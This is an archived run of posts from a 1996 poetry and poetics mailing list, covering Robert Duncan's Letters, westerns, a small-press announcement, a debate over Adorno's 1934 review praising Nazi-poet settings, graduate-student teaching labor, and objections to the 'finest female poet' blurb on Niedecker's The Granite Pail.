> * "Home is a moral boundary, not a physical space." *
> *   *
> *   Chris Giannou   *
> *   *
> ***
>

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398. George Bowering
duncan
Sat 14 Dec 1996

> *And a nice copy of the very rare Letters by Robert Duncan at my local used/rare book shop here in Tucson. Actually not "my" shop, it's Larry McMurtry's shop. At $250, too expensive for me. But if anyone is interested, I could reserve it for them.*

Damn. You just reminded me of a day long ago in Vancouver, when Duncan held up a copy of _Letters_ and said it was the last one for sale (I dont know, $2.50 maybe) and I leapt forward but was bodychecked by Pauline Butling, who snaffled it! I have never forgiven her.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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399. George Bowering
Re: Johny Guitar
Sat 14 Dec 1996

> *At 8 I read a wonderful German translation (it cut all the religio-pompous naturo-romance verbiage down to size) of james fenimore Cooper's PRAIRIE --*
>
> *After that it was on to Ernest Haycox, Zane Gray, Louis L'Amour & hundreds of German comics-type western tales -- then Lucky Luke, the great French comic strip.*
>
> *Only later the "serious" writings dealing with the modern west by the likes of Douglas Woolf,William Eastlake, Ed Dorn (the fiction, not only *Slinger* and *Gran Apacheria*), etc.*

Oh yeah, Pierre. Jesus, I forgot to mention Ernest Haycocks. Hmm. He was a truly great writer, I thought and still suspect it. He seemed somehow serious, as if there could be such a thing as a genre epic or something. Then he invented Destry, and they did weird things with him, musicals and all;

I have sometimes heard from people in Germany, etc., who grew up on US westerns, and always thought that normal; when I was teaching in Berlin, all

the students were interested in Black people in the US and Native people in Canada.

You know, about 10 years ago or 15 or something, I taught a graduate course on the "western". First we looked at two movies, the Robert taylor Billy the Kid, and a Randolph Scott Botticher, then read _Hondo_ and then did all those literary takes you mention.

The students in this course were really good, all turned out to be writers, and still remember that semester well. There's something there; it made me write my western novels, too. A strange year.

You must know David Markson's western that was made silly in a movie starring Frank Sinatra.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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400. shemurph
Marshall Creek Press
Sat 14 Dec 1996

Matt Hill, Publisher of Marshall Creek Press has just issued this release:

New to the avant-garde, alternative poetry scene, we are endeavoring to publish authors who are in pursuit of the oblique: writing that depicts the "original fire" in the study of causes, and imagery that introduces textual impurities into the posturing and malaise which predominate in the contemporary poetry scene today.

We are committed to underwriting the experimental synthesis of poetic visions where obscure language achieves the climactic event of congealed process.

The following chapbooks are currently available with several more to follow in 1997. We are in serious need of benefactors and sponsors for future offerings and welcome any support in the form of contributions and grants.

sonnet what Peter Ganick 1996 $5.00

Shellgame Labyrinth Choire John Noto 1996 $5.00

Revolution for the Heaven of It David Hoefer 1996 $5.00

A Little Syncopy Sheila E. Murphy $5.00

Roxis Matt Hill $3.00

Expect 2-3 weeks for delivery. Please make checks/money orders payable to Matt Hill : Marshall Creek Press Box 305 Ben Lomond, CA 95005

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401. **David Zauhar**

Re: adorno and the nazis

Sat 14 Dec 1996

I wrote this last night before reading Tom Mandel' current posting. I'm not sure if it takes us where the discussion could go. I'll let others judge that. Anyway...

Since Tom Mandel's original posting, I've been bothered by one problem: can reprehensible thinkers provide non-reprehenisible ways of thinking beyond our present crises (Bloch: "Thinking means venturing beyond."). The events in Adorno's life which Tom relates do not show us Adorno at his best, to say the least, but as others have asked, are there parts of his work which retain some value? I have had some Adornoids attempt to explain to me some of TAs work in a more favorable light. For instance, it is not uncommon to maintain that his much-maligned writings on jazz, for instance, much be contextualized. He is criticizing, I'm often told, not the sort of jazz Anselm Hollo and the rest of us assumes he is criticizing, but rather a mass-produced, tin-pan-alley-type of german import that was sort of a forerunner to muzak which is a pale imitation of American jazz (i.e., the equivalent of the late and unlamented {in terms of career} Vanilla Ice in rap). Whatever, it's an attempt to salvage Adorno, and it makes some sense Though it still doesn't let TA of the hook for his complete ignorance of jazz, so I don't by it. And Adorno on mass culture is barely distinguishable from Allen Bloom, as we all have noted. And Tom Mandel makes a good case for his toad-like nature. Are there other merits in his work? A couple of years ago, I came across this line in Murray Bookchin's _The Philosophy of Social Ecology_ In the introduction, Bookchin writes about the big difference between this edition (published by Black Rose Books) and the 1990 edition: "I have excised favorable references to the Frankfurt School and Theodor Adorno. Like Leszek Kolakowski, I have come to regard much of Adorno's work as intellectually irresponsible, wayward, and poorly theorized, despite the brilliance of his style (at times) and his often insightful epigrams. This is not to reject his defense of speculative reason against positivism-- which was what originally attracted me to his work and to the Frankfurt school-- even has his writings exude enormous pessimism about reason and its destiny." Now, at that time I had been reading Adorno, largely based on a reading of earlier versions of some of the same essays Bookchin

reprinted in _Philosophy of Social Ecology_, so I wrote him c/o his publisher to ask him about thie irresponsible, wayward theorizing. When Bookchin (or an associate) wrote back, he mentioned the same events Tom Mandel related, as well as an elaboration on Adorno's complete inability to avoid thinking hierarchically. MB was much more articulate than I am right now, and I can't find the letter for a direct quote, but some footnotes in _TPSE_ are worth looking at (but not right now) Recently, I'm more inclined toward the "heretical marxism" of some figures tangentially affiliated w/ the Frankfurt school (I'm stealing the idea of "heretical marxism" from an article by Ramsey Eric Ramsey (not a typo) from _Rethinking Marxism_ (vol 8 #2, summer 1995), so I'm thinking of the work of Ernst Bloch mostly, but also parts of Wilheml Reich (when he's not reifying --if not deifying-- the orgasm) and Erich Fromm (in the rare moments when he's not turning Buddha into a dialectical materialist and/or Karl Marx into a roshi). And I hope I'm nodding off because it's late and not because I'm boring myself. Anyway, to quote Bloch again, "Thinking means venturing beyond." Can anything in Adorno's work be made fruitful enough for us to bother venturing beyond his toad nature?

Dave Zauhar

and let me add the same postscript others have added: if an answer to these questions will lead to a replay of the Pound argument, either delete this message or backchannel responses.

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402. **tmandel**
Adorno und kein ende
Sat 14 Dec 1996

Re: Jeremy's new post:

Adorno did not collaborate, he attempted to ingratiate himself and the indication is - perhaps is - that he'd have been happy if his only-half-Jewishness allowed for this.

Many people collaborated, most passively, during the Nazi regime. Many people had very, very little choice (other than martyrdom). Some of them did horrid things. Some of them killed Jews (or gipsies, or...), and some even got used to doing it. Some just ran railroad switches on tracks that led to camps. Some were soldiers, some worked in factories replacing soldiers.

One or more of them killed many of my relatives.

That's not what we are talking about. It's not for me to condemn or forgive someone in whose shoes I haven't walked and who is a hypothetical figure

conjured out of an abstract noun. "He" may have rolled my aunt Kiki into the grave at age 18 after she was multiply raped (or not who knows?). I don't know. I'm not in front of a collaborationist. I don't know if I'd kill him or pity him or what I'd do. It's not really relevant.

Anymore than it's relevant to say as another posteur did that this one review (among so many volumes of them) and one letter have no weight against the volumes of Adorno's work.

There are no "works" that are not also "persons." It is what Adorno did that we or someone should discuss -- not some 2d-order abstraction like what it "means" or its "place" in his work, but What He Did. And we should remember that this refers to 1934 and to 1964, to both.

It is in this sense that my original remarks were "ad hominem." It should be obvious to anyone who has ever related to or relied on another's words -- written or spoken -- that they are deeds; it should be obvious to poets, and I hope to those interested in poetry too, that word and world are one.

Adorno wrote himself into a room out of which you will not retrieve him. It is in that room that we must describe him. As in all other bodies of mind, each of his texts is inside all the others, and each englobes all the others. His review of Baldur von Shirach and his letter attempting to explain it away is inside every other word he wrote and every word he wrote is inside the review and the letter. I didn't make it that way, sorry. He did.

Now maybe we can talk about the subject. I'd be especially interested to hear what Marjorie Perloff thinks, as there are few people I've read who have as astute a sense of the relation among the forces of social intention and context in a writer's work as Marjorie.

Tom Mandel

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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403. Loss Glazier
"*MLA 1996 Some Poetry Events*"
Sat 14 Dec 1996

--- Announcing ---

A page describing some MLA 1996 poetry events is available from the EPC home page http://writing.upenn.edu/epc

You'll see the link right under the "E" in "Electronic"

Any additions or especially corrections if there are any errors, please let me know!

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404. Pierre Joris
Re: Wild taste
Sat 14 Dec 1996

[redacted] wrote:
>
> along the lines that patrick and tom are moving -- esp. the question of
> evolution and meaning -- i can't recommend strongly enough richard powers'
> novel from a few years ago, _the gold bug variations_... i know of no piece
> of writing that pushes the language/dna analogy further, and with more
> emphasis on narrative as a correlative development...
>
> joe

yes,yes,yes, I have little patience/time for novels these days, but The Goldbug Variations held me -- it is brilliant, brilliant!
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

"A book has to be the axe for the frozen sea inside us.
This I believe."

(Kafka, Letter to Oskar Pollack 27 Jan 1904)
==========

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405. David Zauhar
Re: Response to Mark (et al)
Sat 14 Dec 1996

> *in any case, reading through this issue of _profession_ constitutes a good introduction to just how at odds with ourselves we academics can be...*

> *anyway, _profession 96_ would make an excellent stocking stuffer for those of you with academic friends...*
>
> *hurry while the supply lasts!...*
>
> *etc...*
>
> *joe*

Well, I just got back from the local Waldenbooks at my nearby mall, where I discovered that they were all out of _Profession 96_. However, a helpful clerk directed me to the Association of Departments of English Bulletin (shelved, coincidently, next to Soldier of Fortune). It's not as interesting as the previously-described Profession 96, but it contains an article by Reed Way Dasenbrock called "The Crisis in the Job Market: Beyond Scapegoating." This article, in turn, contains a passage unlike any other I've seen written by a chair of a phud-granting English Dept: "The real change I propose is this: that we break the habit of relying solely on graduate assistants to staff the courses that we haven't wanted to teach. We need to teach them ourselves as well. In turn, we should propse to the administration that we replace many GA's with tenure-track positions and that the tenure-track faculty (in it's entirity; not just the new lines) teach those lower division courses that would no longer be taught by graduate assistants." After checking to make sure that I wasn't reading a special April Fools Day edition of the ADE Bulletin, I put the magazine back on the shelf, fairly confident that the institutional changes Dasenbrock calls for won't happen in too many places, but somewhat encouraged to see someone in "the profession" fess up to the material conditions of "knowledge production" in engdepts.

DZ

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406. **amato**

Re: Response to Mark (et al)

Sat 14 Dec 1996

---

yet what i find so troubling about that article you cite, david, is that its author seems not to notice that his comments apply specifically to sop at "major research institutions" with phud programs... where i teach, and where for that matter so many of my friends teach, there's no provision for grad. students to teach lower-level courses... i mean, it's probably a safe bet that *most* "lower-level" teaching in *most* english depts. around the country is not done by ta's, but by full-fledged profs...

it's just that i wouldn't want non-academics around here to think that we profs. are all leaving the "dirty work" or some such to others (and no, it's not dirty work to teach engl. 101!)... for my part, i've never had a ta teach 'for' me, and i don't look forward to having one do so...

best,

joe

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407. Judy Roitman
patr-iarchy/onization
Sat 14 Dec 1996

So I finally got myself The Granite Pail, Cid Corman's 1985 selection of Lorine Neidecker's work. Here are two blurbs on the back cover.

"One of the finest American poets of all, besides being easily the finest female American poet..."

"We are in the presence of a poet whose peers are the Lady Ono Komachi and Sappho. Few others come to mind."

This is kind of shocking, yes? How do things like this happen?

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

408. Joshua N Schuster
Re: POETICS Digest - 11 Dec 1996 to 12 Dec 1996 (fwd)
Sat 14 Dec 1996

To Poetics: I'm forwarding this response from a friend who concentrates his thinking mostly on Adorno and Benjamin. 2 problems here: he doesn't have the advantage of reading the other posts, so he repeats some commentary; and he chose to copy the entire message, so I apologize in advance for the digesters.

A way of spreading discussion...

-js

Vance Bell wrote:
> From [redacted] Sat Dec 14 03:03 EST 1996
>

> Josh,
>
> Here is my reply. If you'd like you can forward it to the list it came
> from.
>
> Vance
>
> ----------
>
> First thing I might say is that this indictment has not a single citation
> to any original text. Not to say that they could not be produced, but
> their lack casts a negative light on the content.
>
> According to Joshua N Schuster:
> >
> >
> > >
> > > ------------------------------
> > >
> > > Date: Thu, 12 Dec 1996 08:48:21 CST
> > > From: [redacted]
> > > Subject: Re-post of Adorno and the Nazis
> > >
> > > No poetry after Auschwitz?
> > >
> > > In a letter to Karl Jaspers, Hannah Arendt referred to Adorno as "one
> > > of the most repulsive human beings I know."
> > >
>
> Is this the same Arendt that was intimately involved with Heidegger and
> who was treated rather badly by the same?
>
> > > There would be many reasons to hold this opinion, and anyone familiar
> > > with the relations between Walter Benjamin and Adorno from the time in
> > > the late 30's when Adorno got to America to B's death would be able to
> > > arrive at it independently, observing in the correspondence for example
> > > a genius of Benjamin's magnitude as he is forced to grovel for a few
> > > pennies before a toad like Adorno, forced to hear and treat as
> > > significant Adorno's trivial and pettifogging critiques of his work.
>
> Are to very few published letters between the two and with Felizitas
> Adorno adequate grounds to say one knows anything about their

> relationship. Although Benjamin's death was tragic for certain, I doubt
> that the essays he submitted to the Zeitschrift f:ur Sozialforschung were
> any more heavily critiqued than any other submission from the core group
> who published there. Adorno's critique of B.'s Baudelaire essay were
> accepted in part by B.'s on intellectual grounds although it is clear that
> the two version are substantially different in character and content.
> Adorno's essays of the same period often underwent equally stringent
> revisions.
>
> > >
> > > This is not why Arendt detested Adorno, however, although she was
> > > certainly familiar with the relations between the two men (Benjamin and
> > > Arendt were friends).
>
> Yes, were in fact, but B. and A. met almost ten years before B. met H.
> H.'s importance was greatest in the late thirties especially in the
> occupied France.
>
>
> > > No, Arendt detested Adorno for his attempt to ingratiate himself with
> > > the Nazis when they first came to power, his attempt to use the fact
> > > that he was half Jewish - not a real Jew (I should say not!) - to slide
> > > onto the slip-thru side of the newly-empowered National Socialists.
>
> I think that I would have done the same thing in A.'s place. It is all
> too easy to view the situation in '33-4 with the benefit of hindsight.
> Adorno never thought the bourgeoise would stand for Hitler and would
> eliminate him from power. This might be an example of Adorno's political
> naivete, but little else. Adorno, was in fact, born to a Catholic mother
> and was therefore, technically, not a Jew by Jewish standards (Nazi
> standards being obviously quite different)
>
> > > Even moreso, Arendt hated him for his as she called it "indescribably
> > > pathetic" attempt to excuse himself when his activities were discovered
> > > thirty years later.
>
> Again I would like to know more of H.'s relationship to Heidegger when the
> latter took over the rectorship of Freiburg Univ.
>
> > > (I should say, btw, that although I am familiar with the
> > > Adorno/Benjamin correspondence and with some of Adorno's own
writings,

> > > none of which I have ever liked, all of which seemed monumentally
> > > self-aggrandizing, the affair I am about to narrate I know only
> > > second-hand. I rely entirely on a written report in a pair of footnotes
> > > to the Arendt/Jaspers correspondence. Fans of Adorno's work, especially
> > > those who feel they'd like to complete their acquaintance with his
> > > texts, will surely want to read in their original positions the
> > > documents referred to below.)
>
> So what we have here is a clearly unbiased report...
>
> > >
> > > In a periodical called Die Musik in June 1934 Theodor
> > > Wiesengrund-Adorno wrote a music review in which he praised a song
> > > cycle written to poems by Baldur von Schirach - an obscure person today
> > > thankfully but extremely well-known at the time as a Nazi poet and an
> > > adorer of Hitler, to whom the book of poetry was dedicated (to "Adolph
> > > Hitler, the Fuhrer")! from which come the texts of the songs. The song
> > > cycle bears the same name as the book. The editors of the
> > > Arendt-Jaspers correspondence describe it as containing "phrases which
> > > even today can be regarded only as obsequious gestures to
> > > the Nazis. Adorno apparently was not bothered by the fact that some of
> > > the poems advocated mass murder." The review also uses a phrase of
> > > Goebbels - approvingly.
> > >
>
> The editors of the Arendt-Jaspers correspondence describe it? Has this
> person read the original text? I bet it is not that long. Certainly
> sounds bad, but the original is necessary for any further conclusions.
>
> > > It goes without saying that Adorno took no opportunity after the war to
> > > mention having written this document, that it played no part in any of
> > > the judgments he made of German intellectuals' relations to the Nazis,
> > > and that he did not footnote his Minima Moralia axiom about poetry
> > > after Auschwitz with any reference to the poetry he had praised only a
> > > few years before Auschwitz was built.
>
> How can one say that it did not play a part in the judgments made of
> German intellectuals? Certainly Adorno did not forget what he wrote.
> Is the axiom from MM or from Cultural Criticism and Society in Prisms?
> What would be the relation of Adorno's text in Die Muzik be to the axiom.
> Wouldn't the axiom itself speak against all of A.'s poetry criticism prior
> to MM or Prisms equally to condemn lyric poetry in general. It might also

> be important to note that the German version of MM has no footnotes,
> period.
>
>
> > > The January 1964 issue of Diskus, a Frankfurt student newspaper,
> > > contains an open letter to Adorno, written by a student and asking
> > > whether he was the author of the review in question. Adorno replies in
> > > the same issue (which as I say I have not read). "I deeply regret
> > > having written that review," especially because "it deals with poems by
> > > Schirach" and made use of "a phrase of Goebbels." Obviously, it is hard
> > > to credit "regret" that does not lead to repudiation, and Adorno had
> > > kept his authorship of these words secret for thirty years. After
> > > expressing this regret, according to the editors, he goes on to make a
> > > series of excuses and concludes that it will be left to the reader "to
> > > decide whether those incriminating sentences should be given any
weight
> > > in assessing my work and my life.... No one... could possibly compare
> > > me to Heidegger..."
>
> Again I would like to see the original text. If A. would only express
> "regret" at the article's content in the '60s, I have a feeling that
> something else is going on in the article that is not coming out here.
> The later reference to parentheticals seems to say that phrases where
> included in the text in a marginalized manner. Not to excuse him that -
> but if this is Adorno's only infraction it is small compared to both
> deMan and Heidegger. I am curious if this author would have faired so
> well.?
>
> > >
> > > It is instructive to compare the situation of Adorno and that of Paul
> > > deMan who was vilified for his collaborationist writings in Belgium.
> > > I'm not a fan of Paul deMan, but it is useful to note the differences
> > > in the two situations. For one thing deMan was in a country under
> > > military occupation which he was unable to leave. One could go on
> > > comparing the two. Certainly it would be interesting to trace the
> > > pressures in their respective works of these episodes in their past.
> > > Interesting to someone who has no other flowers to arrange.
>
> Not sure what the last bit means exactly, but I think paragraph's idea
> here *is* interesting.
>
> > >

> > > I've known about the Adorno episode for a few years but haven't had the
> > > heart to expose it to others. Only being once again confronted with
> > > praise for a disreputable creep, and knowing I would be again, has made
> > > me sigh and set down what I've read.
> > >
>
> Praise for Adorno's works are based in those works - which appearently are
> opaque when read by this author. I am curious if he has read any of A.'s
> work on Anti-Semitism or The Authoritarian Personality.
>
> > > Interestingly, the German students to whom Adorno replied in the '60s
> > > seem to have been more or less satisfied with his reply. Perhaps it was
> > > enough to see him (indeed, to see a Jew) painted in their own merde.
> > > Perhaps his evasions spoke to theirs.
>
> Firstly, are not we recapitulating this very gesture?
>
> Secondly, the student of the sixties would have been born at the War's
> close. Are we saying that they themselves were also anti-semities, or
> Nazis in disguise (gee Tom, aren't *all* Germans)?
>
> Vance Bell
> [redacted]
>

↑ Index

409. **simon**
Re: patr-iarchy/onization
Sat 14 Dec 1996

Judy,
When I recommended Neidecker's work, I didn't think about the blurbs,
and when I read the book, I hate to turn it over to see them.

How it happens? That's not a question, right?

beth simon
assistant professor, linguistics and english
indiana university - purdue university
[redacted]

↑ Index

410. **Burt Kimmelman**
Re: patr-iarchy/onization
Sat 14 Dec 1996

---

judy,

i may have been deleting-before-reading a thread that your comments on Cod

Cid Corman's edition of Lorine Niedecker's poems THE GRANITE PAIL with its backcover blurbs have to do with, but in the event that I am just downright obtuse, why are you exercised over the blurbs, precisely?

burt

↑ Index

411. **Burt Kimmelman**
Re: patr-iarchy/onization
Sat 14 Dec 1996

---

judy,

i guess that you are taking issue with corman's and others' 1985 ghetto-ization of LN?

burt

↑ Index

412. **Jay Schwartz**
Re: patr-iarchy/onization
Sat 14 Dec 1996

In regards to Cid Corman's remarks about Niedecker:

I was at the Naropa Institute for "Cid Corman" week in '95, and Corman made many, many comments regarding white male poets from the 40's to the present, yet had to be prodded to even mention women poets of any ethnicity. When he did, he only mentioned Levertov and Niedecker, and then with a degree of condescension and ghettoization.

Can't we recognize his contributions to publishing at the same time we acknowledge his uncomfortable (at least) views regarding gender and race?

-Jay Schwartz

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413. **Jordan Davis**
Return of the Real: Global Surveillance
Sat 14 Dec 1996

The hallucination of information? a machine that can detect which are the interesting messages? cool, I'll take two .. here interesting would have to mean incriminating.. and the impermissible is what, exactly? It seems likely (to my particular version of paranoia) that this kind of supervision will lead not to coercive repression but to diffusive tolerance.. to increasing the anomie .. what is the response to Gab's question whether we're clogged with the news? Again, I would insist that the strategy has changed.. go ahead, _let off some steam_ ... J Davis

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414. **Judy Roitman**
Re: patr-iarchy/onization
Sat 14 Dec 1996

> *judy,*
>
> *i may have been deleting-before-reading a thread that your comments on Cod*
>
> *Cid Corman's edition of Lorine Niedecker's poems THE GRANITE PAIL with its backcover blurbs have to do with, but in the event that I am just downright obtuse, why are you exercised over the blurbs, precisely?*
>
> *burt*

Because the Woman Poet category is trivalizing.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

415. **Judy Roitman**
Re: patr-iarchy/onization
Sat 14 Dec 1996

> *judy,*
>
> *i guess that you are taking issue with corman's and others' 1985*

> *ghetto-ization of LN?*
>
> *burt*

Yes.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

416. David Golumbia
Re: Response to Mark (et al)
Sat 14 Dec 1996

Joe wrote:
> grad. students to teach lower-level courses... i mean, it's probably a safe
> bet that *most* "lower-level" teaching in *most* english depts. around the
> country is not done by ta's, but by full-fledged profs...

Joe, I'm confused here as to whether, by "full-fledgd profs," you simply mean folks with PhDs, or folks who are tenure-track. it's the latter I think of as "full-fledged," but I think it's clear that the former, along with grad students, teach the bulk of lower-level courses at colleges & universities throughout the US (e.g., classes not for majors, frosh classes, & some intro-level "study of lit" or survey-type courses). Is this untrue at your school?

I say this because, in my view, the problems for grad students are more than anything else a consequence of the revolution in academic conduct toward the use (i.e., abuse) of part-time, adjunct, & temporary faculty -- & if *these* problems could be solved (most radically, by demanding that *only* tenure-track, "professional" adjuncts [e.g., G. Stephanapolous, people with professions outside the academy], or grad students could teach) & with proper & fiscally-unavoidable controls on size of grad programs, schools would have to even out the supply/demand problems that cause such hardships today...

Does your experience differ from this?

--
[redacted]
David Golumbia

↑ Index

417. **DS**
Re: patr-iarchy/onization
Sat 14 Dec 1996

At 01:19 PM 12/14/96 -0600, you wrote:
>>judy,
>>
>>i may have been deleting-before-reading a thread that your comments on
>>Cod
>>
>>
>>Cid Corman's edition of Lorine Niedecker's poems THE GRANITE PAIL with
>>its backcover blurbs have to do with, but in the event that I am just
>>downright obtuse, why are you exercised over the blurbs, precisely?
>>
>>burt
>
>
>Because the Woman Poet category is trivalizing.]

& somewhat stupid when you look at who she is compared to - are there no other twentieth century (women) poets?

> ---
> *Judy Roitman | "Glad to have*
> *Math, University of Kansas | these copies of things*
> *Lawrence, KS 66045 | after a while."*
> [redacted] | *Larry Eigner, 1927-1996*
> ---

↑ Index

418. **amato**
Re: Response to Mark (et al)
Sat 14 Dec 1996

david, by "full-fledged profs" (confusing term, that) i *was* thinking tenure-track profs---i was thinking that it's misleading to characterize english profs. in terms of their presumed access to t.a. labor... but in light of how this term can itself be exclusive, i'd be happy to modify it to include anybody BUT grad students teaching on their *home* campus---whether tenure-track, part-time,

adjunct, etc. (of course i don't mean to wish away differences between these various prof. categories)... seems to me, given the sheer number of colleges and universities (and i mean to include community colleges) that most english depts. don't *have* graduate students upon whom they can rely to teach so-called basic writing and the like for absurdly low wages (and no benefits)... and on some campuses, like u of michigan (i'm thinking of their english composition board), there's an entire staff for teaching such courses (no comment here as to how that works out)...

anybody have any numbers on this handy?... i suppose i can go rummage around for same...

but anyway, on my campus: we've been known to hire grad. students from local institutions (u of chicago, depaul, loyola, uic) to pick up our intro-level writing courses... but we don't have any grad. students ourselves to teach such courses... so i see the people we hire, again, as 'full fledged profs.' relative to my campus (some have been around for years teaching german and french)... now we hire such folks only when the number of required intro courses (based on enrollment) exceeds what we who are full-time tenure-track can do (and all full-time tenure-track english profs. teach one or two intro writing courses in the fall, depending on other course demands)...

i was thinking that the excerpt dave z. posted here from dasenbrock's article would make very little sense, or carry very little urgency, on many campuses with which i'm familiar, incl. my own... i mean, what does it mean to me when somebody sez, you shouldn't use your t.a.'s to teach thus & so courses?... very little---i don't have any t.a.'s, and iit will *still* go out and hire t.a.'s from other campuses as adjunct labor... how many colleges (not universities) have their own grad. students to teach their freshman/sophomore writing requirements?... the problem of course has to do with disparities across the english profession---we're not all inhabiting the same world... but in any case, david, i think pointing as you do to the hiring of adjunct faculty is precisely to the point...

anyway, maybe i'm being clearer than i was... hope so!... let me know, pleez...

best,

joe

↑ Index

419. **Jeremy F Green**
Re: Adorno und kein ende
Sat 14 Dec 1996

I entirely agree with Tom about words and deeds. But to establish words and deeds in this instance is going to require more information (the review and

letter in question and the context of their publication). My sense, after doing a little digging, is that these pieces are not easy to come by (not in translation, anyway, and I have to confess that my German wouldn't be up to the task even if the journals in question were available in the library here). Reading the originals is important because without doing so it is difficult to establish whether Adorno was foolish and naive or downright despicable (and, by the same token, whether his letter of 1966 is evasive or not).

At present, we have Hannah Arendt's comments in her letters to Jaspers (and Kohler and Saner's notes to those letters). Arendt revulsion for Adorno seems to go back to 1929 when A. rejected her husband's Habilitationschrift. In her biography of Arendt, Elisabeth Young-Bruehl writes: "Hannah Arendt's opinions about people, both positive and negative, were always forceful--even if not always consistent--and she clearly meant it when she announced to Gunther Stern [her husband] after having made Adorno's acquaintance, 'Der kommt uns nicht ins Haus!' (That one's not coming into our house)" (_Hannah Arendt: For Love of the World_, p.80). In mentioning this I'm not trying to extricate A. from the room he put himself in (as Tom put it); I'm simply trying to give a context for Arendt's dramatic expression of her hatred for Adorno ("one of the most repulsive human beings I know"--oddly, the context for that remark is her expressed wish that attacks on Heidegger--which she claims, without proof, are being orchestrated by "the Wiesengrund-Adorno crowd"--(and specifically attacks on his anti-semitism) would cease).

The question of the name-changing (this is Tom's 'perhaps'): as I understand it, the claim is that A. dropped the Wiesengrund part of his name in order to ingratiate himself with the Nazis. Martin Jay describes this as 'highly implausible', noting that A. only dropped Wiesengrund in 1938 (by which time he was in America) on the instigation of Friedrich Pollock (a Frankfurt Institute colleague). This is not to say that A. might not have dropped the Wiesengrund for the review in question; I simply don't know.

In his monumental history of the Frankfurt School, Rolf Wiggershaus has this to say about the review: "Adorno still [summer 1934] believed in the possibility of hibernating through everything that was going on, and in one of his music reviews, which were published increasingly rarely, he produced an example of political opportunism. He wrote a review of Herbert Muntzel's _The Banner of the Persecuted: A Cycle for Male Choir after the Volume of Poems of the Same Title by Baldur von Schirach_ which was published in the respected music journal _Die Musik_. At that point the journal had not been fully forced into line. Adorno emphasized - approvingly - the fact that this cycle was 'marked out as consciously National Socialist by its choice of Schirach's poems' and that it called for 'the image of a new Romanticism', 'perhaps of the type which Goebbels has defined as "Romantic Realism"'. He added this praise to the

observation that it could very well happen that, 'with increasing compositional rigour, Romantic harmony, but rather to a new one, which incorporates contrapuntal energies within itself.'" I find this frustratingly oblique and it is remarkable that Wiggershaus doesn't have more to say about this episode (not being very familiar with A.'s writing on music I find it hard to say whether those last remarks are intended to be a piece of smuggled critique or not). I can't find any reference in this huge book to the later letter. What adjective would one wish to place before Wiggershaus's "political opportunism"? Dangerously naive? Despicable? It is certainly easy *with hindsight* to settle for the latter.

All this brings me to the interesting question Tom raises: 'every word is englobed in every other' (he says, or thereabouts). Well, this is still a question of reading. Tom's earlier messages seemed to me to indicate that the review and letter made the whole of Adorno's work trivial, toadish and self-aggrandizing. I would still maintain that this is a refusal to read; surely what we need to do is to look at A.'s work in the context of the review and letter (accepting the Arendt line, for the present). How then does such 'englobing' play its part in the more interesting questions we might ask about Adorno's work (his position on reason and enlightment, on mass culture and modernism, on capitalism and identity AND on fascism and poetry after Auschwitz)?

(btw. I don't agree that A. on mass culture is almost indistinguishable from Allan Bloom...but I've already written much more than I intended).

Jeremy

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420. **Jeremy F Green**
Re: Wild taste
Sat 14 Dec 1996

Check out _Galatea 2.2._ (the latest by Powers) too--it has some fascinating stuff on language and learning in the context of Artificial Intelligence.

On Sat, 14 Dec 1996, Pierre Joris wrote:
>
> yes,yes,yes, I have little patience/time for novels these days, but The
> Goldbug Variations held me -- it is brilliant, brilliant!
> --
> ==========
> pierre joris 6 madison place albany ny 12202
> tel/fax [redacted] email:[redacted]
> http://writing.upenn.edu/epc/authors/joris/
> http://www.albany.edu/~tm0900/nomad.html
> ----------

> "A book has to be the axe for the frozen sea inside us.
> This I believe."
>
> (Kafka, Letter to Oskar Pollack 27 Jan 1904)
> ==========
>

↑ Index

421. **Burt Kimmelman**
Re: patr-iarchy/onization
Sat 14 Dec 1996

yes judy i see what you mean about no 20th century comparisons for niedecker--but then again corman lives in japan and may not see any worthy comparisons in terms of style or point of view or whatever except from other times and places?

burt

↑ Index

422. **Burt Kimmelman**
Re: patr-iarchy/onization
Sat 14 Dec 1996

"Because the Woman Poet category is trivializing": Okay, but maybe in the early 80s. . . . no, never mind that. . . . i guess my point is that LN can be usefully read, especially in her "domestic" poems, as putting forth a distinctly woman's view of the world, of men, of women . . . .

I see your point and agree with you, but isn't also true that Corman placed her among all poets first and only then among women poets second.

Am I just "not getting it"?

burt

↑ Index

423. **dbkk**
Re: patr-iarchy/onization
Sun 15 Dec 1996

At 6:38 PM +0000 12/14/96, Jay Schwartz wrote:

> *I was at the Naropa Institute for "Cid Corman" week in '95, and Corman made many, many comments regarding white male poets from the 40's to the present, yet had to be prodded to even mention women poets of any*

> *ethnicity. When he did, he only mentioned Levertov and Niedecker, and then with a degree of condescension and ghettoization.*

This is Kevin Killian. I interviewed Corman several years back about his meetings with Jack Spicer, and I must say he went out of his way to talk about his (contemporaneous) encounters with the poets Joanne Kyger and Lenore Kandel. He was talking about 1960, fairly early date to begin an appreciation of these two (still terribly underrated) writers. But I agree with Judy, those comments on the "Granite Pail" book are true space oddities!! Thanks--KK.

↑ Index

424. George Bowering
Re: patr-iarchy/onization
Sun 15 Dec 1996

Would it have been better if Corman had just edited some guy's book of poems rather than LN's?

While we are talking about how much of a dork he was for the blurbs, why dont we also suggest that it was a better world after the publication of the book than it was before it?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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425. Pete Landers
Re: patr-iarchy/onization
Sun 15 Dec 1996

Judy Roitman wrote:
> So I finally got myself The Granite Pail, Cid Corman's 1985 selection of
> Lorine Neidecker's work. Here are two blurbs on the back cover.
>
> "One of the finest American poets of all, besides being easily the finest
> female American poet..."
>
